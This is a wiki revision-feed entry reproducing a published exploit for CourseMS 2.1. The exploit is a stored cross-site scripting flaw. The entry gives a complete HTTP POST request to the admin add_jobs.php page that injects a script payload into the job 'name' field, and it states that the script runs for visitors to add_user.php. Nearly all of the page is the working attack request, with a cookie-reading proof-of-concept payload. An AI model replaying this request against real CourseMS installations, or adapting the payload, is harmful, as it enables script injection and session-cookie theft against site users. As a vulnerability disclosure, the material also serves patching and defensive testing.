https://pwnwiki.com/index.php?action=history&feed=atom&title=CourseMS_2.1_XSS%E6%BC%8F%E6%B4%9E 2026-04-20T23:34:04Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=CourseMS_2.1_XSS%E6%BC%8F%E6%B4%9E&diff=1296&oldid=prev 2021-04-09T07:54:28Z

<p>Created page with &quot;==XSS== &lt;pre&gt; # Exploit Title: CourseMS 2.1 - &#039;name&#039; Stored XSS # Date: 03/30/2021 # Exploit Author: cptsticky # Vendor Homepage: http://sourceforge.net/projects/coursems # So...&quot;</p> <p><b>New page</b></p><div>==XSS==<br /> &lt;pre&gt;<br /> # Exploit Title: CourseMS 2.1 - 'name' Stored XSS<br /> # Date: 03/30/2021<br /> # Exploit Author: cptsticky<br /> # Vendor Homepage: http://sourceforge.net/projects/coursems<br /> # Software Link: https://sourceforge.net/projects/coursems/files/latest/download<br /> # Version: 2.1<br /> # Tested on: Ubuntu 20.04<br /> <br /> POST /coursems/admin/add_jobs.php HTTP/1.1<br /> Host: localhost<br /> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0<br /> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br /> Accept-Language: en-US,en;q=0.5<br /> Accept-Encoding: gzip, deflate<br /> Content-Type: application/x-www-form-urlencoded<br /> Content-Length: 91<br /> Origin: http://localhost<br /> Connection: close<br /> Referer: http://localhost/coursems/admin/add_jobs.php<br /> Cookie: PHPSESSID=9c5cgusplbmb09g86sfapoiie4; __utma=2772400.1964691305.1617119061.1617119061.1617119061.1; __utmb=2772400.87.10.1617119061; __utmc=2772400; __utmz=2772400.1617119061.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)<br /> Upgrade-Insecure-Requests: 1<br /> <br /> name=dirkgently%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&amp;add_jobs=Add+Job+Title<br /> <br /> <br /> Anyone who visits the http://localhost/coursems/add_user.php will prompt execution of the stored XSS<br /> &lt;/pre&gt;</div>

Pwnwiki